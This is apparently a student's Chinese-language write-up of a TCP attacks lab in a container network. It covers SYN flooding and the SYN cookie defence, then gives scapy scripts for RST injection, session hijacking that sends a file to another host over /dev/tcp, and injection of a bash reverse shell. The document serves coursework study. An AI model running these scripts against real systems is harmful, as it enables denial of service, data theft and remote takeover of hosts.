Task 1: SYN Flooding Attack
Task 1.1: Launching the Attack Using Python
可以看到,不做任何参数修改时进行攻击时,telnet还是能从远程连接上的,这就涉及到老师上课讲的三个可能由于python运行速度慢和系统机制出现的问题,下面对其进行解决。
net.ipv4.tcp_synack_retries = 10
将tcp尝试重传次数设为10 默认情况下是5
net.ipv4.tcp_max_syn_backlog = 80
将tcp缓冲区设置为80 默认512
同时起六个脚本进行攻击可得
泛洪攻击成功,成功阻碍了该telnet连接
Task 1.2: Launch the Attack Using C
任务二用c进行攻击,流程于1差不多
编译运行c程序命令
gcc synflood.c
./a.out 10.9.0.5 23
Task 1.3: Enable the SYN Cookie Countermeasure
sysctl -w net.ipv4.tcp_syncookies=1启用syncookie防护
可以看到,此时即使被泛洪攻击了,仍然会留出监听空间,不会被泛洪攻击封死
Task 2: TCP RST Attacks on telnet Connections
发送tcp RST包
进入10.9.0.6使用telnet登录10.9.0.7,尝试使用TCP RST Attacks来中断他们之间的TCP连接
首先我们要知道达成TCP RST Attacks需要的基本数据,所以要自己写脚本sniff一下
from scapy.all import *
def print_pkt(pkt):
print("ip.dst:"+pkt[IP].dst)
print("ip.src:"+pkt[IP].src)
print("tcp.dport:",pkt[TCP].dport)
print("tcp.sport:",pkt[TCP].sport)
print("tcp.ack:",pkt[TCP].ack)
print("sniff start........")
pkt= sniff(iface='br-793e76ca99e5', filter = 'tcp', prn =print_pkt)
抓到相关信息再运行以下程序
from scapy.all import *
from ipaddress import IPv4Address
from random import getrandbits
ip=IP(src="10.9.0.6",dst="10.9.0.7")
tcp=TCP(flags='R',dport=23,sport=34052,seq=2857005640)
pkt=ip/tcp
print('start')
ls(pkt)
send(pkt,verbose=0)
然后可以看到Connection closed by foreign host,表示攻击成功
使用自动化程序进行实验,结果如下
from scapy.all import *
from ipaddress import IPv4Address
from random import getrandbits
def spoof_pkt(pkt):
oldtcp=pkt[TCP]
oldip=pkt[IP]
ip=IP(src=oldip.dst,dst=oldip.src)
tcp=TCP(flags='R',dport=oldtcp.sport,sport=oldtcp.dport,seq=oldtcp.ack)
pkt=ip/tcp
print('start')
ls(pkt)
send(pkt,verbose=0)
pkt= sniff(iface ="br-793e76ca99e5",filter = 'tcp', prn =spoof_pkt)
Task 3: TCP Session Hijacking
tcp会话劫持
使用wireshark获取信息,得到最后一个包的seq和ack信息,将其填入脚本,进行TCP Session Hijacking
data中命令为将1.txt文件内容重定向到10.0.2.4:9090的tcp连接
from scapy.all import *
from ipaddress import IPv4Address
from random import getrandbits
ip=IP(src="10.9.0.6",dst="10.9.0.7")
data="\n cat /home/seed/1.txt > /dev/tcp/10.0.2.4/9090 \n"
tcp=TCP(flags='A',dport=23,sport=34472,seq=1178322569,ack=3545992893)
pkt=ip/tcp/data
print('start')
#ls(pkt)
send(pkt,verbose=0)
该程序读取服务器(即10.9.0.7)中的1.txt文件(内容123),可见攻击成功
Task 4: Creating Reverse Shell using TCP Session Hijacking
/bin/bash -i #表示shell是交互式的
> #重定向
/dev/tcp/10.0.2.4/9090 #到10.0.2.4:9090的tcp连接
0 #input 重定向 &1 file descriptor
2 #error 重定向到tcpconnection
#seq与ack均从wireshark中最后抓取的一个包中得出
from scapy.all import *
from ipaddress import IPv4Address
from random import getrandbits
ip=IP(src="10.9.0.6",dst="10.9.0.7")
data="\n /bin/bash -i > /dev/tcp/10.0.2.4/9090 0<&1 2>&1\n"
tcp=TCP(flags='A',dport=23,sport=34544,seq=1487944269,ack=2655642989)
pkt=ip/tcp/data
print('start')
#ls(pkt)
send(pkt,verbose=0)
成功上线,攻击机得到服务器的反弹shell